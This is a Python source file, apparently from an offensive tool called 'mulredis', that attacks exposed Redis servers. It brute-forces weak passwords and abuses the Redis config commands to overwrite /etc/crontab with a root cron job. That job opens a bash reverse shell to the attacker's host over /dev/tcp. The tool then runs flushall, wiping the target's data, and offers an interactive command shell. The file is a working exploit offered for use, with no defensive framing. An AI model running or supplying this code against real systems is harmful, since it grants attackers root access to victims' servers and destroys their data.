# -*- coding:utf-8 -*-
import redis
import random
import sys

if sys.version.startswith("2"):
    from lib.log import log2 as log
else:
    from lib.log import log


class conredis:

    def __init__(self, lhost):
        # 当前连接
        self.con = None
        # 本机/接收反弹shell服务器的地址
        self.lhost = lhost
        # 本机/接收反弹shell服务器的端口
        self.lport = self.getPort()
        # 目标/受害者服务器
        self.rhost = None
        # 目标/受害者服务器redis服务端口
        self.rport = None
        # redis密码
        self.auth = None
        self.user = ["", "qwerty"]
        self.weekauth = ["123456", "foobar", "Passw0rd"]
        # 连接信息
        self.info = {
            "remote": self.rhost,
            "file": "/etc/crontab",
            "status": "normal",
            "message": "",
            "shell_key": "\n\n\n\n*/1 * * * * root bash -i  > /dev/tcp/" + self.lhost + "/" + str(
                self.lport) + " 0>&1 2>&1\n\n\n\n"
        }

    # 反弹shell的端口
    def getPort(self):
        port = random.randint(10001, 13000)
        return port

    # 关闭连接
    def clear(self):
        self.con.flushall()
        self.con.close()
        log.mlog.prin("[*] Redis connection from {rhost} was closed and data was flushed.".format(rhost=self.rhost))

    # 获取连接
    def connect(self, rhost, port=6379, auth=None):
        self.rhost = rhost
        self.info["remote"] = rhost
        self.rport = port
        if auth != None:
            self.auth = auth
            con = redis.Redis(host=rhost, port=port, password=auth)
        else:
            con = redis.Redis(host=rhost, port=port)
        try:
            con.info()
        except redis.exceptions.ConnectionError as e:
            if "'Error while reading from socket: (54, \'Connection reset by peer\')'" == str(e):
                log.mlog.prin("[!] " + str(e))
                return None
            if "Authentication required." == str(e):
                log.mlog.prin("[!] " + str(e))
                log.mlog.prin("[*] mulredis try to login with week auth.")
                if self.brute(con) != None:
                    log.mlog.prin("[+] Redis connect to " + self.rhost + ":" + str(self.rport))
                    return con
            con.close()
            return None

        except redis.exceptions.ResponseError as e:
            if "illegal address" == str(e):
                log.mlog.prin("[!] maybe white list exits on " + rhost)
            con.close()
            return None
        except redis.exceptions.AuthenticationError:
            if self.brute(con) != None:
                log.mlog.prin("[+] Redis connect to " + self.rhost + ":" + str(self.rport))
                return con
        except Exception as e:
            if "Protocol Error: H, " in str(e):
                log.mlog.prin("[!] " + self.rhost + ":" + str(self.rport) + " was not redis server.")
            else:
                log.mlog.prin("[!] unknown exception:" + str(e))
            con.close()
            return None
        else:
            self.con = con
        log.mlog.prin("[+] Redis connect to " + self.rhost + ":" + str(self.rport))
        return con

    def brute(self, con):
        for u in self.user:
            connectCmd = "auth "
            if u == "":
                log.mlog.prin("[*] tring to brute password with none user")
                connectCmd += u + " "
            else:
                log.mlog.prin("[*] tring to brute password with user " + u)

            for p in self.weekauth:
                try:
                    if con.execute_command(connectCmd + p) == b'OK':
                        log.mlog.prin("[+] week auth brute successful! " + connectCmd + p)
                        self.con = con
                        return con
                except redis.exceptions.AuthenticationError:
                    continue
                except redis.exceptions.ResponseError as z:
                    if str(z).index("WRONGPASS invalid username-password") >= 0:
                        break

        log.mlog.prin("[!] week auth brute was failed.")
        return None

    def checkPriv(self, con):
        if con.config_get("stop-writes-on-bgsave-error") == "yes":
            log.mlog.prin(
                "[*] stop-writes-on-bgsave-error set: " + str(con.config_set("stop-writes-on-bgsave-error", "no")))
        if con.config_get("slave-read-only") == "yes":
            log.mlog.prin(
                "[*] stop-writes-on-bgsave-error set: " + str(con.config_set("stop-writes-on-bgsave-error", "no")))

    # 向指定文件写入shell
    def writefile(self):
        con = self.con
        server = self.lhost
        filename = self.info["file"]
        payload = self.info["shell_key"]
        dir = ""
        self.checkPriv(con)

        # 执行写入操作
        parsefile = filename.split("/")
        if filename.startswith("/"):
            parsefile[0] = "/"
        if len(parsefile) > 0:
            for i in range(0, len(parsefile) - 1):
                dir += parsefile[i]
        try:
            con.config_set("dir", dir)
            con.config_set("dbfilename", parsefile[-1])
            con.set("mulredis_reverse", payload)
            con.save()
        except redis.exceptions.ResponseError as e:
            if str(e).startswith("MISCONF Redis is configured to save RDB snapshots, but"):
                log.mlog.prin("[!] " + str(e))
            if str(e).__contains__("can't set protected config"):
                log.mlog.prin("[!] dir was protected:\n" + str(e))
                log.mlog.prin("[!] save file error maybe haven't privilege to save.")
            try:
                con.flushall()
            except redis.exceptions.ResponseError as z:
                if str(z).startswith("MISCONF Redis is configured to save RDB snapshots"):
                    log.mlog.prin("[!] " + str(z))
            # 即写入失败
            self.info["status"] = "write failed"
            self.info["message"] = str(e)
            return False
        except Exception as e:
            log.mlog.prin("[!] write file error. error message:" + str(e))
            self.info["status"] = "write failed"
            self.info["message"] = str(e)
            return False
        else:
            log.mlog.prin(
                "[*] waiting {rhost} shell connect to {server}:{lport}".format(rhost=self.rhost, server=server,
                                                                               lport=self.lport))
            self.info["status"] = "normal"
            self.info["message"] = "wrote file successful."
            return self.lport

    # 以下方法为提供给redis shell功能的redis控制方法
    def redisshell(self, cmd):
        try:
            res = self.con.execute_command(cmd)
            log.mlog.prin(res)
        except redis.exceptions.ResponseError as e:
            log.mlog.prin(e)
        except redis.exceptions.ConnectionError as e:
            if str(e).__contains__("Operation timed out"):
                log.mlog.prin("[!] Operation timed out.")
        except Exception as e:
            log.mlog.prin("[!] execute error! " + str(exit()))
